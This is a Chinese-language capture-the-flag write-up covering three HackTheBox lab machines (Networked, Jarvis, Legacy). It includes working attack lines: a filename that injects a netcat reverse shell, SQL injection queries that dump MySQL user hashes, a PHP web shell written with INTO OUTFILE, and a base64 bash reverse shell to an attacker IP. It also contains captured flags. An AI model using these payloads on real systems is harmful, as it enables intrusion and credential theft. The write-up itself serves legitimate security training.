HTB-oscplike-Networked+Jarvis+Legacy

HTB-oscplike-Networked+Jarvis+Legacy

Networked

easy难度的networked 靶机IP 10.10.10.146

sudo nmap -sC -sV -A -p- -Pn --min-rate=5000 10.10.10.146
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
443/tcp closed https

dir扫到/backup里面有源码可以审计
这里就是常规的改image/jpeg 头上加GIF89a 后缀名.php.jpg就可以绕过
然后根据代码在photos.php看到路径访问就弹回了shell
但是拿不到user的flag 权限不够
在/home/guly下发现check_attack.php会定时执行
其中有 exec(“nohup /bin/rm -f $path$value > /dev/null 2>&1 &”);
那么我们在path下新建一个文件名也就是value值为
;nc -c bash 10.10.14.21 7890;
然后静待执行弹回shell就行了 拿到flag 526cfc2305f17faaacecf212c57d71c5

这里不知道为什么一直有另外一台机器连我这个端口 可能是之前做的机子的后门代码还在
不知道哪个啥比半天做不出来一直连我 干脆换了个端口

继续提权 sudo -l发现能root执行changename.sh 分析代码看到ifcfg
直接google ifcfg exploit发现可以进行空格绕过 照做拿到root

0a8ecda83f1d81251099e8ac3d0dcb82

Jarvis

medium难度的jarvis 靶机IP 10.10.10.143

sudo nmap -sV -sC -A --min-rate=5000 -p- -Pn 10.10.10.143
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
64999/tcp open http Apache httpd 2.4.25 ((Debian))

后台扫出一个phpmyadmin 同时在
/room.php?cod=1%20order%20by%207%20–+
发现有sql注入 正确时会返回图片
常规注入发现有七列 同时2，3，4，5都是回显列
/room.php?cod=-1 union select 1,group_concat(schema_name),3,4,5,6,7 from information_schema.schemata 得到库名 里面mysql库是有用的

http://ip/room.php?cod=-1 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=‘mysql’ 看到里面有user表

http://ip/room.php?cod=-1 union all select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name=‘user’
爆出user password字段

http://ip/room.php?cod=-1 union all select 1,group_concat(User,Password),3,4,5,6,7 from mysql.user

DBadmin*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
MD5解密一下是imissyou 以此进入phpadmin后台

SELECT “<?php system($_GET['cmd']);?>” INTO OUTFILE “/var/www/html/shell3.php”
本来想直接写弹shell 但是好像写不进去不知道为啥
这里稳妥一点直接用base64弹shell
echo -n ‘bash -i >& /dev/tcp/10.10.14.21/7888 0>&1’ | base64 -w 0

http://ip/shell3.php?cmd=echo -n YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTA
uMTAuMTQuMjEvNzg4OCAwPiYx | base64-d | bash

弹回一个低权限shell sudo -l看见
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
发现可以执行ping命令 但是分析代码发现过滤了；|等字符
这里可以用 $(command)绕过 会先执行里面的命令
由此拿到user的flag 2afa36c4f05b37b34259c93551f5c44f

继续提权 执行linpeas发现suid权限有一个systemctl标黄
https://gtfobins.github.io/gtfobins/systemctl/#suid

参照这个 wget一个写好的xxx.service过来
/bin/systemctl link /home/pepper/bbb.service
/bin/systemctl enable --now /home/pepper/bbb.service
弹出来root的shell 拿下flag
d41d8cd98f00b204e9800998ecf84271

接下来打算打几天windows的机器了 感觉套路都差不多 windows提权还属实不太懂

Legacy

easy难度的legacy 靶机IP 10.10.10.4 第一台windows开始咯

sudo nmap -sC -sV -A -p- --min-rate=5000 -Pn 10.10.10.4
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
这长得纯纯就是永恒之蓝的形状了
nmap --script smb-vuln* 10.10.10.4 -Pn -p 445 看到ms08-067也行
随便弄个脚本就上去了 直接就能拿两个flag

e69af0e4f443de7e36876fda4ec7644f
993442d258b0e0ec917cae9e695d5713
看来前几台机子总是浪费时间的